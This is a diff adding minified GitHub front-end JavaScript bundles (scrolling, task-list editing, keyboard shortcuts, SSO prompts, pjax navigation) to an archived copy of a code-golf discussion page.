a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 